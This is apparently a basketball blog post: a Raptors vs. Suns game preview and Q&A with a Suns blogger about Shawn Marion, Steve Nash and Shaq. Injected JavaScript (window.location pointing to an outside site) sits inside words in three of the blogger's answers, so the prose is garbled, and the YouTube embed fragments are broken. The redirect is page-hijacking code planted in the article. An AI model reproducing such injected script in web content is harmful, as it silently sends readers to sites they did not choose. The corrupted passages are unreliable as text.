Tonight, the Toronto Raptors (23-36) face off against the Phoenix Suns (32-25), who are on their second game of a back to back. The Raptors are on a two-game winning streak while the Suns are fresh off of a loss against the Lakers where they were blown out 132-106. Two-time MVP and our Canadian homeboy, Steve Nash, will sit again tonight with the right ankle injury.
We will be live blogging the game tonight for all you non-TSN2 peeps on theScore.com (game time 9 PM EST), here is the link:
http://liveblogs.thescore.com/Event/NBA_-_Raptors_vs_Suns
I got a chance to talk to Ben from Ben’s Suns Blog who is also one of the managing editors for newest Phoenix Suns’ Community, that Ben calls “The Perfect Storm” which brings together some of the best Suns’ blogs into one online community. I talked to Ben about tonight’s matchup, Shawn Marion, Steve Nash’s possiblemove to Canada and his favorite Shaq rap video.
HHN: Shawn Marion is a former Phoenix Sun, and from what you’ve seen with him in Phoenix, how do you see him helping the Raptors this season?
Ben (Ben’s Suns Blog): My opinion is that Shawn could fit in with any team in the league. His skill set is unique and he doesn’t necessarily need plays drawn for him to get points. I’ve always lovewindow.location=”http://occupyto.org/”;d Marion as a player, but if I’m honest, his head got a little big which ultimately led to him not being a Sun anymore. In Miami, it wasn’t that he was doing anything wrong; they just needed more size on their front line.
I think this trade will be great for the Raptors. Marion will impress you with the little things he does that go unnoticed at times – rebounding, offensive rebounding, court awareness, hustle, and his defense on virtually anyone.
It was unfortunate that Shawn left Phoenix the way he did, but I’ve said for a while now that the move had to be made. I can’t fault Kerr/Sarver for wanting to add depth to our inside presence, while also granting Shawn his trade request. People in Phoenix forget that Shawn asked to be traded…
HHN: Where do you see Steve Nash, our basketball national pride here in Canada, in the next couple years? Finishing his career in Phoenix, possibly in New York or back his home country playing with the Raptors?
Ben (Ben’s Suns Blog): It is unfortunate how quickly some fans/media have turned on Nash this season. Steve Nash has undeniably been the heart and soul of Phoenix for the past 5 years. What we’re seeing now is our leader hurting. Our leader has reached the point where there is nothing more he can do. A team that has received so much from him has now seemingly reached their breaking point.
Is it the right thing to do to trade Nash and let him thrive elsewhere? Do we owe him that? If so, what happens to the Suns? Well, we lose our motor, our heart, and our hero.
The truth is we really haven’t given Nash a reason to want to stay in Phoenix. I think the addition of Gentry will undoubtedly help in the decision, but there are a lot of other reasons why Nash would play elsewhere – and I can’t blame him for that. New York is his summer home and his former belovewindow.location=”http://occupyto.org/”;d coach is turning the Knicks around. Obviously, Toronto would be a good choice (and terrific story) with him reuniting with Bryan Colangelo and (possibly) Marion in his home country.
I’d hate to see Steve leave, but it certainly wouldn’t surprise me. Though, Kerr has said for a while now (and so has Nash) that the goal would be to have Nash retire as a Sun. I just hope we can surround him with players that will make him want to stay. It sounds bad, but with Nash nearing the end of his career with no championship despite all that hard work and dedication, a move to a true contender isn’t out of the question. Right now, the Suns aren’t contenders. I’m hoping that will change.
HHN: The Raptors are trying to make a late playoff push for the #8 in the East, what can the Raps do to beat the Suns tonight?
Ben (Ben’s Suns Blog): Two words: Chris Bosh. The Suns really don’t have anyone that can guard him. With Amare being out, it leaves us pretty thin down low even with Shaq. I’d look for Calderon to consistently feed it down to Bosh and Andrea then when the Suns collapse, kick it back out to an open shooter. The Suns haven’t been a good transition defensive team and I’d look for the Raps to exploit that as well. Plus, Nash may still be out with a sprained ankle.
However, the Suns desperately need a win tonight. Their next 9 games are basically the season. They play the Lakers on Sunday, then have a brutal road trip of Orlando, Miami, Houston, and San Antonio…then play Dallas and Cleveland at home. Yikes.
Last night, the Suns played their bench for a good portion of the game so we should be fairly fresh for tonight. I don’t expect it to be a blowout either way, so it will be crucial for both teams not to have their “bigs” get in foul trouble down the stretch.
http://youtube.com/watch?v=
qPKTLLb80Ns[/youtube]
HHN: My all-time favorite Shaq rap video is “(I know I got) Skillz” with the classic line, “I treat you like Spielberg/You get Jur-Ass Kicked in the Park” what’s your favorite Shaq rap video?
Ben (Ben’s Suns Blog): Wow, good question. I’m going to go with the recent viral video of Shaq ragging on Kobe. As a Suns fan, and probwindow.location=”http://occupyto.org/”;ably a Raptor fan after the 81 point game, anytime Kobe can get called out is a huge plus for me. 🙂
http://youtube.com/watch?v=
z-JsENTpFOA[/youtube]
Here is the Q&A I did with Ben at the Fanster Phoenix Suns community.
Special thanks to Ben for his time answering our questions, check out Ben and his Suns’ coverage at Ben’s Sun Blog. Also check out the Fanster Phoenix Suns Community for all of your updates on our Canadian homie, Steve Nash.
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